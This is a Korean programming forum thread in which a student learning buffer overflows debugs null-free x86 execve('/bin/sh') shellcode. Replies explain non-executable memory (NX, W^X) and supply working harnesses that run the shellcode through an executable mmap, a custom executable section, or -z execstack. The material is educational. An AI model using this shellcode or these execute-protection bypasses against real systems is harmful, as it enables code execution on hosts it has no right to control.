스택에 값을 push하지 못하는 경우도 있나요?

익명 사용자의 이미지

버퍼오버플로우 이제 배워가는 학부생입니다.
쉘 코드를 달고나 문서를 보며 만들어가고 있는데, 컴파일러 버전이 다른건지 다음 부분에서 막힙니다.

일단 저는 밑의 코드를 통해 쉘 코드를 짠 다음, (execve로 "/bin/sh"를 실행시키는 코드입니다.)

void main(){
    __asm__ __volatile__(
        "push   $0x0        \n\t"   //NULL
        "push   $0x0068732f \n\t"   //Little Endian, "/sh\0"
        "push   $0x6e69622f \n\t"   //Little Enduan, "/bin"
        "mov    %esp, %ebx  \n\t"   //Current %esp: "/bin/sh\0", %esp->$ebx
        "push   $0x0        \n\t"   //?(?, ?, NULL)
        "push   %ebx        \n\t"   //?(?, &("/bin/sh\0"), NULL)
        "mov    %esp, %ecx  \n\t"   //Current %esp: "/bin/sh\0", %esp->$ecx
        "mov    $0x0, %edx  \n\t"   //%edx = 0
        "mov    $0xb, %eax  \n\t"   //%eax = 0xb(11), System Call Vector = 11.
        "int    $0x80       \n\t"   //interrupt syscall(11), execve()
    );
}

이걸 GCC를 통해 다음과 같이 기계어 코드를 얻었습니다.

080483db <main>:
 80483db:	55                   	push   %ebp
 80483dc:	89 e5                	mov    %esp,%ebp
 80483de:	6a 00                	push   $0x0
 80483e0:	68 2f 73 68 00       	push   $0x68732f
 80483e5:	68 2f 62 69 6e       	push   $0x6e69622f
 80483ea:	89 e3                	mov    %esp,%ebx
 80483ec:	6a 00                	push   $0x0
 80483ee:	53                   	push   %ebx
 80483ef:	89 e1                	mov    %esp,%ecx
 80483f1:	ba 00 00 00 00       	mov    $0x0,%edx
 80483f6:	b8 0b 00 00 00       	mov    $0xb,%eax
 80483fb:	cd 80                	int    $0x80
 80483fd:	90                   	nop
 80483fe:	5d                   	pop    %ebp
 80483ff:	c3                   	ret

위 기계어 코드에서 NULL문자, 그러니까 0x00을 없애기 위해 다음과 같이 일부 변형을 가했습니다.

080483db <main>:
 80483db:	55                   	push   %ebp
 80483dc:	89 e5                	mov    %esp,%ebp
 80483de:	31 c0                	xor    %eax,%eax
 80483e0:	50                   	push   %eax
 80483e1:	68 2f 2f 73 68       	push   $0x68732f2f
 80483e6:	68 2f 62 69 6e       	push   $0x6e69622f
 80483eb:	89 e3                	mov    %esp,%ebx
 80483ed:	50                   	push   %eax
 80483ee:	53                   	push   %ebx
 80483ef:	89 e1                	mov    %esp,%ecx
 80483f1:	89 c2                	mov    %eax,%edx
 80483f3:	b0 0b                	mov    $0xb,%al
 80483f5:	cd 80                	int    $0x80
 80483f7:	90                   	nop
 80483f8:	5d                   	pop    %ebp
 80483f9:	c3                   	ret  

터미널에서 여기까지는 잘 실행되는데, 이 코드를 정리하여 다음 C 코드에 넣으려 하니 Segmentation Fault가 발생하더군요.

char sc[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";
 
void main(){
    int *ret;
    ret = (int *)&ret + 2;
    *ret = sc;
}

Program received signal SIGSEGV, Segmentation fault.
0x0804a01a in sc ()
(gdb) disas $eip
Dump of assembler code for function sc:
   0x0804a018 <+0>:	xor    %eax,%eax
=> 0x0804a01a <+2>:	push   %eax
   0x0804a01b <+3>:	push   $0x68732f2f
   0x0804a020 <+8>:	push   $0x6e69622f
   0x0804a025 <+13>:	mov    %esp,%ebx
   0x0804a027 <+15>:	push   %eax
   0x0804a028 <+16>:	push   %ebx
   0x0804a029 <+17>:	mov    %esp,%ecx
   0x0804a02b <+19>:	mov    %eax,%edx
   0x0804a02d <+21>:	mov    $0xb,%al
   0x0804a02f <+23>:	int    $0x80
   0x0804a031 <+25>:	add    %al,(%eax)
End of assembler dump.

(gdb) x/16wx $esp-4
0xbfffef1c:	0x0804a018	0x00000001	0xbfffefb4	0xbfffefbc
0xbfffef2c:	0x00000000	0x00000000	0x00000000	0xb7fbb000
0xbfffef3c:	0xb7fffc04	0xb7fff000	0x00000000	0xb7fbb000
0xbfffef4c:	0xb7fbb000	0x00000000	0x03482ba2	0x38bd85b2

(gdb) i r 
eax            0x0	0
ecx            0x38bd85b2	951944626
edx            0x804a018	134520856
ebx            0x0	0
esp            0xbfffef20	0xbfffef20
ebp            0x0	0x0
esi            0xb7fbb000	-1208242176
edi            0xb7fbb000	-1208242176
eip            0x804a01a	0x804a01a <sc+2>
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

여기서 0x0804a01a <+2>: push %eax에서 스택에 eax를 push하지 못하던데, 이런 경우가 있나요..

참고로 컴파일은

gcc -o ./sh03 ./sh03.c -fno-stack-protector -O0

와 같이 했습니다.

parallels96의 이미지

혹시 쉘 코드가 .data영역에 있어서 실행 가능하지 않아 발생하는 문제는 아닐까요..?
보안과목을 들었는데도 가물가물 하군요 ㅜ 프로세스 맵으로 한번 해당 메모리 영역에 실행가능 권한이 있는지
확인해보시면 어떨까요?

익명 사용자의 이미지

아래와 같이 하면 아마 잘 될 겁니다.

#include <sys/mman.h>
#include <string.h>
#include <stddef.h>
 
char sc[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";
 
int main(){
    void *shellcode = mmap(NULL, sizeof(sc), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0);
    memcpy(shellcode, sc, sizeof(sc));
    ((void (*) (void))shellcode)();
    return 0;
}

https://en.wikipedia.org/wiki/Executable_space_protection

컴퓨터 역사의 초창기에는 읽을 수 있는 메모리 영역은 무조건 실행도 가능한 경우가 많았습니다. 근데 그러다보니 공격자가 온갖 이상한 방법으로 쉘코드를 메모리에 주입하여 실행시키는 문제가 빈발해서, 메모리 권한 관리에 실행 권한이 추가되기에 이릅니다.

예컨대 c언어 프로그램에서 초기값이 있는 전역 및 정적 변수들이 들어가는 .data section는 일반적으로는 실행 가능한 코드가 들어갈 일이 없기 때문에 실행 권한이 없는 채로 올라갑니다. readelf -S sh03 명령어로 확인해 보시기 바랍니다.

해결 방법은 뭐 다양하게 있을 수 있겠는데, 런타임에 해결하는 방법으로는 mmap을 써서 명시적으로 쓰기도 가능하고 실행도 가능한 메모리 영역을 받아서 거기에 쉘코드를 넣고 실행시키는 방법이 있고요 (위 코드)

빌드 타임에 해결하는 방법으로는 그냥 sc 배열을 실행 가능한 섹션에 배치하도록 gcc attribute를 쓰면 됩니다. 약간의 컴파일러 해킹이 필요합니다. GNU assembler와 linker에 대한 배경지식도요.

https://gcc.gnu.org/onlinedocs/gcc/Common-Variable-Attributes.html#Common-Variable-Attributes
https://stackoverflow.com/questions/6252812/what-does-the-aw-flag-in-the-section-attribute-mean

#include <sys/mman.h>
#include <string.h>
#include <stddef.h>
 
char __attribute__((section(".shellcode,\"ax\",@progbits#"))) sc[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";
 
int main(){
    int *ret;
    ret = (int *)&ret + 2;
    *ret = sc;
}

(1) 뭐 지금 해킹 공부중이시니 아시겠지만, 런타임에 쓰기가 가능하면서 실행도 가능한 메모리 영역을 가지고 있는 건 보안 측면에서 썩 좋은 생각이 아닙니다.
그럴 필요가 있는 경우가 흔하진 않아도 없진 않아서 지원을 하긴 하는데, 주의를 할 필요가 있겠죠.
이 원칙을 W^X라고 줄여서 나타내기도 하는데, 문자 그대로 쓰기 가능하거나(W) 실행 가능하거나(X) 둘 중 하나(xor)란 얘기죠.

(2) 요즘 컴퓨터들은 고전적인 해킹 기법을 그대로 적용하기 상당히 번거롭게 만들어져 있어서 공부할 때 불편하지요. 어쩔 수 없어요.

작성자의 이미지

감사합니다. 실행 가능 공간 보호를 찾아보고, NX Bit라는 것을 알게 되었고, GCC 컴파일러 옵션에 -z execstack이란 것이 있다는 것을 알게 되었습니다. 다음과 같이 컴파일하면 작동하는군요.

gcc -o ./sh03 ./sh03.c -fno-stack-protector -O0 -z execstack

나머지 알려주신 것들에 대해서는 더 공부해봐야겠습니다...

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.